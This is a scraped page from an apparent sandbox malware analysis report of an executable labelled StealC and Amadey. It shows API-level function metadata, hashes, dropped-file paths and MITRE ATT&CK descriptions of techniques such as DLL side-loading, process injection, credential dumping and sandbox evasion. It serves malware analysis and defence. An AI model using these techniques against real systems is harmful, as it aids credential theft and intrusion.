Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: b05dc22bce0f73562c1114764f4e52df6a34887f45719bb4a03a14e744b1706a
Instruction ID: ffdc65da10d3eaf86c0ec1757acceba417c3e104c6f26983e3ef72b55c3d5c6a
Opcode Fuzzy Hash: b05dc22bce0f73562c1114764f4e52df6a34887f45719bb4a03a14e744b1706a
Instruction Fuzzy Hash: DBF03C71601742CFDE048F58DD4979233B1B74771DF298A1DC9840AA80D7757AD78A92

Function 6CA6BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CA6BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CA6BEF5

Strings

cryptbase.dll, xrefs: 6CA6BEF0

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: b514462cf3ff7dec284759e7f5eee5747eada5e248d99d2389081d5995abe373
Instruction ID: e1b51fb51bddd5f884657de7ca8bbff462c63d6a88c568c4c183587927509b0e
Opcode Fuzzy Hash: b514462cf3ff7dec284759e7f5eee5747eada5e248d99d2389081d5995abe373
Instruction Fuzzy Hash: E1D0A731180209EAC6046B51AC09B153774A702715F10C120F30544C51CFB0B491DB54

Function 6CA550E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA54E9C,?,?,?,?,?), ref: 6CA5510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA54E9C,?,?,?,?,?), ref: 6CA55167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CA55196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA54E9C), ref: 6CA55234

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 9bfe95036a42f4f61a87ed5b7767961d61d0209c995df8c91b51408280054c58
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 1791AD75905616CFCB14CF09C490A5ABBA2FF89318B29C688EC589B715D731FC96CBE0

Function 6CA908F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CADE7DC), ref: 6CA90918
LeaveCriticalSection.KERNEL32(6CADE7DC), ref: 6CA909A6
EnterCriticalSection.KERNEL32(6CADE7DC,?,00000000), ref: 6CA909F3
LeaveCriticalSection.KERNEL32(6CADE7DC), ref: 6CA90ACB

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 7da23083a0762595198990ee9548e2912e217b2f959467739d552917e7d6c29f
Instruction ID: c034868e8cff5852304a3870570ddfdbc6c9bd2439860ec6533d32cc4033a454
Opcode Fuzzy Hash: 7da23083a0762595198990ee9548e2912e217b2f959467739d552917e7d6c29f
Instruction Fuzzy Hash: 10512E32711755CFEB089A59C405666B3F1EB89B647298239DD6597F80DB30F8C286C1

Function 6CAAB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CAAB2C9,?,?,?,6CAAB127,?,?,?,?,?,?,?,?,?,6CAAAE52), ref: 6CAAB628

Part of subcall function 6CAA90E0: free.MOZGLUE(?,00000000,?,?,6CAADEDB), ref: 6CAA90FF
Part of subcall function 6CAA90E0: free.MOZGLUE(?,00000000,?,?,6CAADEDB), ref: 6CAA9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CAAB2C9,?,?,?,6CAAB127,?,?,?,?,?,?,?,?,?,6CAAAE52), ref: 6CAAB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CAAB2C9,?,?,?,6CAAB127,?,?,?,?,?,?,?,?,?,6CAAAE52), ref: 6CAAB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CAAB127,?,?,?,?,?,?,?,?), ref: 6CAAB74D

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e654b02d6896cfd80bc70ac66aa6deaa1cf22c3f2a634f131889c0b98fbbad24
Instruction ID: 903fe023919b2fa656d814d1a8db86a12686902b3e34d2f8b80184658b0b68a9
Opcode Fuzzy Hash: e654b02d6896cfd80bc70ac66aa6deaa1cf22c3f2a634f131889c0b98fbbad24
Instruction Fuzzy Hash: 2351F671A0231A8FDB14CF99E9807AEB7B1FF45304F49862DC856A7710D771E886CB91

Function 6CAADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CA9FF2A), ref: 6CAADFFD

Part of subcall function 6CAA90E0: free.MOZGLUE(?,00000000,?,?,6CAADEDB), ref: 6CAA90FF
Part of subcall function 6CAA90E0: free.MOZGLUE(?,00000000,?,?,6CAADEDB), ref: 6CAA9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA9FF2A), ref: 6CAAE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA9FF2A), ref: 6CAAE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CA9FF2A), ref: 6CAAE0FE

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d9238f2d988e411fc32df03f2a92627939a3b137ead283d2c2967a940a0cad03
Instruction ID: 48dc57909d3f67176c0a11303dc5209b6a54059d29657f8a792df6e0d6325b0a
Opcode Fuzzy Hash: d9238f2d988e411fc32df03f2a92627939a3b137ead283d2c2967a940a0cad03
Instruction Fuzzy Hash: 3241C1B17442168FEB14CFA9D89035A73B2AB45308F18493DD516DB740E732E9A6CB92

Function 6CAA6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CAA6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CAA6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CAA6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAA6F5C

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 84c48109c5a01e0a2b3fdc8f097a3e041a8665f5d1741a1dd3b59594d5b3c2b4
Instruction ID: 4465c1cdbd1973ee954bb77b40326da4df52518d2369c349fa2ac1151aeb7cd9
Opcode Fuzzy Hash: 84c48109c5a01e0a2b3fdc8f097a3e041a8665f5d1741a1dd3b59594d5b3c2b4
Instruction Fuzzy Hash: BF31E471A1060A8FDB14CF6CC9806AE73F9EB94304F548239D41AC7751EB31E69ACB90

Function 6CABB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CA60A4D), ref: 6CABB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CA60A4D), ref: 6CABB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CA60A4D), ref: 6CABB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CA60A4D), ref: 6CABB67F

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 9f1a71d8de5af0b76956377ade68ffc5cd66e2d917b036570404e5bd3c7f7b42
Instruction ID: 00612bcb24915d872b2df5f76c44ff32b3e90e5c6e0be017eb38b19f59e35f42
Opcode Fuzzy Hash: 9f1a71d8de5af0b76956377ade68ffc5cd66e2d917b036570404e5bd3c7f7b42
Instruction Fuzzy Hash: 6E31F471A002178FDB14CF59D89469ABBBAFF84304F5A8629C846EB201DB31ED55CBA1

Function 6CA8F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA8F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CA8F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA8F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CA8F668

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: f907b6dc1463e97ddb5ce176e73f664724bf582b51c833bd3667bba52ab2eca7
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: DB316F71B01215AFC718CF1DDCC0A9BBBB5EB84358B18853CFA498BB08D731E9848B90

Function 6CAA26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAA26C1
free.MOZGLUE(?), ref: 6CAA26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAA26FF
free.MOZGLUE ref: 6CAA270D

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ec5aab97dbde8008d9b73edd02d967e9f68f9c892745b9151796a596df0c7cc7
Instruction ID: dd33865d363d56f0d10fa429efd296e8cbc64a12e24cd61644c914299731d9e5
Opcode Fuzzy Hash: ec5aab97dbde8008d9b73edd02d967e9f68f9c892745b9151796a596df0c7cc7
Instruction Fuzzy Hash: 34F0F9B27012015BE7109E59D88498773A9FF4121CB540235EA1EC3B11E331F9AAC6A2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEBKECFCFBGCAAKEGIJD

C:\ProgramData\AKKKECBKKECGCAAAEHJKJJJDGI

C:\ProgramData\BFBAAFHDHCBGCAKFHDAK

C:\ProgramData\DAFIEHIEGDHIDGDGHDHJJJDGHJ

C:\ProgramData\ECFCBKJD

C:\ProgramData\EGIIJDHCGCBKECBFIJKK

C:\ProgramData\FHDAEHDA

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

